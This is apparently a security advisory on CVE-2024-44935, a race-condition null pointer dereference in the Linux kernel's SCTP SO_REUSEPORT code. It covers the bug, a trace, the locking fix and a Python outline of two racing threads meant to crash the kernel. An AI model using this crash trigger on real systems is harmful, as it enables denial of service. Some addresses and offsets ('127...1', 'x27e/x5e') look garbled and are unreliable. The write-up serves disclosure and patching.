A critical vulnerability (CVE-2024-44935) has been identified and fixed in the Linux kernel SCTP protocol involving the SO_REUSEPORT socket option. This bug allowed for a *null pointer dereference* in the function reuseport_add_sock(), triggered by a race condition when creating and closing listener sockets on the same port concurrently.

Simple explanation: If two programs (or threads) on Linux both tried to listen for SCTP connections on the same port at the same time, and one closed during the process, the kernel could crash (kernel panic) due to a missing pointer check.

Background: SCTP and SO_REUSEPORT

- SCTP (Stream Control Transmission Protocol) is a transport layer protocol like TCP/UDP.
- SO_REUSEPORT lets multiple sockets bind/listen to the same IP/port. This helps scale server programs.

- But if the first socket closes while this happens, its "reuseport" control block (sk_reuseport_cb) is cleared.

The second socket still tries to access that pointer -> kernel crash (null-ptr-deref).

This is all because SCTP wasn't locking or synchronizing these actions across sockets sharing a reuseport group. TCP and UDP do this right — they grab a lock while touching these data structures.

Example Trace

Here’s the simplified stack trace from the kernel Oops report (indicating a bad pointer dereference):

KASAN: null-ptr-deref in range [x000000000000001-x0000000000000017]
...
RIP: reuseport_add_sock+x27e/x5e net/core/sock_reuseport.c:350
...
Call Trace:
__sctp_hash_endpoint
sctp_hash_endpoint
sctp_listen_start
sctp_inet_listen
...

The bug is in reuseport_add_sock because it expected that the sk_reuseport_cb pointer from the first socket would be intact, but it was freed.

Vulnerable Code Snippet (Before Patch)

Here’s a simplified version of what was happening in the kernel source (net/core/sock_reuseport.c):

int reuseport_add_sock(struct sock *sk, struct sock *sk2)
{
    struct sock_reuseport *reuse;
    // ... omitted for brevity ...
    
    // Use sk2's reuseport pointer (could be NULL!)
    reuse = sk2->sk_reuseport_cb;
    // ... reuse pointer, crash if it's NULL ...
}

No locking or check meant if sk2 was being closed, this dereferenced a free'd pointer.

The Fix

The kernel now *locks* the reuseport group at both the allocation and add/remove paths, copying TCP/UDP’s approach. This prevents the race, as only one thread can mess with the group at a time.

Fixed code outline

spin_lock(&reuseport_lock);   // Lock the reuseport group
// ... Check and manipulate sk_reuseport_cb safely ...
spin_unlock(&reuseport_lock);

Now, even if the other socket closes, the kernel doesn’t crash.

Commit Reference

- Linux-kernel patch
- syzbot bug report

Exploitation: How an Attacker Could Trigger the Bug

While this bug is primarily a Denial of Service (DoS), it is extremely easy to reproduce! Any unprivileged user with the ability to create sockets could crash the kernel, *assuming SCTP protocol is enabled*:

Simple Exploit Outline (pseudocode)

import socket
import threading

def create_and_close():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_SCTP)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
    s.bind(("127...1", 8888))
    s.listen(1)
    # Sleep or close quickly
    s.close()

def create_and_listen():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_SCTP)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
    s.bind(("127...1", 8888))
    s.listen(1)
    # Hold open

# Fire them concurrently
t1 = threading.Thread(target=create_and_close)
t2 = threading.Thread(target=create_and_listen)

t1.start()
t2.start()
t1.join()
t2.join()

*Note: Python’s socket library may not support SCTP; real-world triggers use C, as in syzbot’s C-reproducer.*
The bug could be exploited in a loop for reliable crash (kernel panic).

Linux kernels before 6.10 (mainline) or without backports.

- Only if SCTP is enabled (CONFIG_IP_SCTP), and the system exposes SCTP sockets to untrusted users.

Most common on: Servers or appliances using SCTP for real-time signaling, telecom stacks, or cluster software.

References

- Upstream Patch Commit
- Original syzbot crash report
- Linux SCTP Source (Github mirror)
- TCP/UDP SO_REUSEPORT documentation

Summary

CVE-2024-44935 is a kernel crash (DoS) bug in the Linux SCTP code, hitting systems using SCTP and SO_REUSEPORT. The fix is simple—grab a lock before touching shared pointers—but crucial for systems that rely on high availability. Patch ASAP if SCTP is in use!


*Feel free to share or reference this writeup with attribution to recent Linux kernel security research.*

Timeline

Published on: 08/26/2024 11:15:05 UTC
Last modified on: 08/27/2024 16:09:01 UTC